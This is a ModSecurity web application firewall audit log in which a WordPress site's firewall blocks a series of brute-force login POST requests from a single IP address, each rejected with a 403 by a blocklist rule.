Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313996157824 1745 (- - -)
Stopwatch2: 1789313996157824 1745; combined=558, p1=226, p2=75, p3=0, p4=0, p5=257, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--014bb85b-Z--
--1ee13157-A--
[13/Sep/2026:18:39:56.542492 +0300] aqbDzPut1GUrjaX0wO45awAAANU 134.185.87.66 57420 127.0.0.1 7081
--1ee13157-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1ee13157-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1ee13157-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313996540290 2296 (- - -)
Stopwatch2: 1789313996540290 2296; combined=818, p1=372, p2=96, p3=0, p4=0, p5=350, sr=137, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1ee13157-Z--
--c026c34f-A--
[13/Sep/2026:18:39:56.937480 +0300] aqbDzPut1GUrjaX0wO45bQAAAM0 134.185.87.66 57444 127.0.0.1 7081
--c026c34f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c026c34f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c026c34f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313996934760 2840 (- - -)
Stopwatch2: 1789313996934760 2840; combined=917, p1=342, p2=116, p3=0, p4=0, p5=459, sr=132, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c026c34f-Z--
--3d7b9c71-A--
[13/Sep/2026:18:39:57.325206 +0300] aqbDzUhjHs68UzErry1K6QAAAIA 134.185.87.66 57466 127.0.0.1 7081
--3d7b9c71-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3d7b9c71-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3d7b9c71-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313997321053 4244 (- - -)
Stopwatch2: 1789313997321053 4244; combined=1630, p1=1017, p2=89, p3=0, p4=0, p5=523, sr=761, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3d7b9c71-Z--
--9dcc0530-A--
[13/Sep/2026:18:39:57.714596 +0300] aqbDzfut1GUrjaX0wO45bwAAAMc 134.185.87.66 57482 127.0.0.1 7081
--9dcc0530-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9dcc0530-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9dcc0530-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313997712988 1709 (- - -)
Stopwatch2: 1789313997712988 1709; combined=531, p1=229, p2=71, p3=0, p4=0, p5=231, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9dcc0530-Z--
--dd857333-A--
[13/Sep/2026:18:39:58.098682 +0300] aqbDzvut1GUrjaX0wO45cQAAAMg 134.185.87.66 57514 127.0.0.1 7081
--dd857333-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--dd857333-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dd857333-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313998097014 1723 (- - -)
Stopwatch2: 1789313998097014 1723; combined=605, p1=281, p2=63, p3=0, p4=0, p5=260, sr=110, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dd857333-Z--
--11060350-A--
[13/Sep/2026:18:39:58.487516 +0300] aqbDzvut1GUrjaX0wO45cwAAAM8 134.185.87.66 57538 127.0.0.1 7081
--11060350-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--11060350-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--11060350-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313998485211 2455 (- - -)
Stopwatch2: 1789313998485211 2455; combined=825, p1=320, p2=95, p3=0, p4=0, p5=410, sr=129, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--11060350-Z--
--c6932441-A--
[13/Sep/2026:18:39:58.866376 +0300] aqbDzhsbgHO3aGL3jiTwxQAAAAI 134.185.87.66 57570 127.0.0.1 7081
--c6932441-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c6932441-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c6932441-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313998864656 1790 (- - -)
Stopwatch2: 1789313998864656 1790; combined=591, p1=274, p2=73, p3=0, p4=0, p5=244, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c6932441-Z--
--c6772f0f-A--
[13/Sep/2026:18:39:59.245447 +0300] aqbDz-ut1GUrjaX0wO45dgAAANI 134.185.87.66 57580 127.0.0.1 7081
--c6772f0f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c6772f0f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c6772f0f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313999243664 1842 (- - -)
Stopwatch2: 1789313999243664 1842; combined=569, p1=230, p2=70, p3=0, p4=0, p5=268, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c6772f0f-Z--
--5ad6676e-A--
[13/Sep/2026:18:39:59.626332 +0300] aqbDz-ut1GUrjaX0wO45eAAAAMQ 134.185.87.66 57598 127.0.0.1 7081
--5ad6676e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5ad6676e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5ad6676e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313999624726 1687 (- - -)
Stopwatch2: 1789313999624726 1687; combined=537, p1=221, p2=68, p3=0, p4=0, p5=248, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ad6676e-Z--
--dac3252d-A--
[13/Sep/2026:18:40:00.005157 +0300] aqbD0FdqBhgxDSpG7haLIQAAAFc 134.185.87.66 57628 127.0.0.1 7081
--dac3252d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 102
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--dac3252d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dac3252d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314000003442 1770 (- - -)
Stopwatch2: 1789314000003442 1770; combined=571, p1=266, p2=77, p3=0, p4=0, p5=228, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dac3252d-Z--
--788f0629-A--
[13/Sep/2026:18:40:00.388854 +0300] aqbD0Put1GUrjaX0wO45ewAAAMs 134.185.87.66 57646 127.0.0.1 7081
--788f0629-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--788f0629-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--788f0629-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314000383687 5258 (- - -)
Stopwatch2: 1789314000383687 5258; combined=3989, p1=260, p2=72, p3=0, p4=0, p5=3657, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--788f0629-Z--
--2140993f-A--
[13/Sep/2026:18:40:00.789685 +0300] aqbD0Put1GUrjaX0wO45fAAAAMM 134.185.87.66 57660 127.0.0.1 7081
--2140993f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2140993f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2140993f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314000782585 7158 (- - -)
Stopwatch2: 1789314000782585 7158; combined=1234, p1=827, p2=147, p3=0, p4=0, p5=260, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2140993f-Z--
--1c57d72c-A--
[13/Sep/2026:18:40:01.173559 +0300] aqbD0fut1GUrjaX0wO45fQAAANQ 134.185.87.66 57686 127.0.0.1 7081
--1c57d72c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 89
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1c57d72c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1c57d72c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314001170029 3703 (- - -)
Stopwatch2: 1789314001170029 3703; combined=927, p1=406, p2=185, p3=0, p4=0, p5=336, sr=170, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1c57d72c-Z--
--3e65b20f-A--
[13/Sep/2026:18:40:01.624311 +0300] aqbD0VdqBhgxDSpG7haLIgAAAFg 134.185.87.66 57714 127.0.0.1 7081
--3e65b20f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3e65b20f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3e65b20f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314001583032 41370 (- - -)
Stopwatch2: 1789314001583032 41370; combined=1112, p1=581, p2=145, p3=0, p4=0, p5=386, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e65b20f-Z--
--2da04874-A--
[13/Sep/2026:18:40:02.128582 +0300] aqbD0khjHs68UzErry1K7AAAAJY 134.185.87.66 57740 127.0.0.1 7081
--2da04874-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2da04874-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2da04874-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314002125424 3285 (- - -)
Stopwatch2: 1789314002125424 3285; combined=1090, p1=348, p2=157, p3=0, p4=0, p5=585, sr=160, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2da04874-Z--
--0089210e-A--
[13/Sep/2026:18:40:02.630738 +0300] aqbD0vut1GUrjaX0wO45gAAAAMU 134.185.87.66 57758 127.0.0.1 7081
--0089210e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--0089210e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
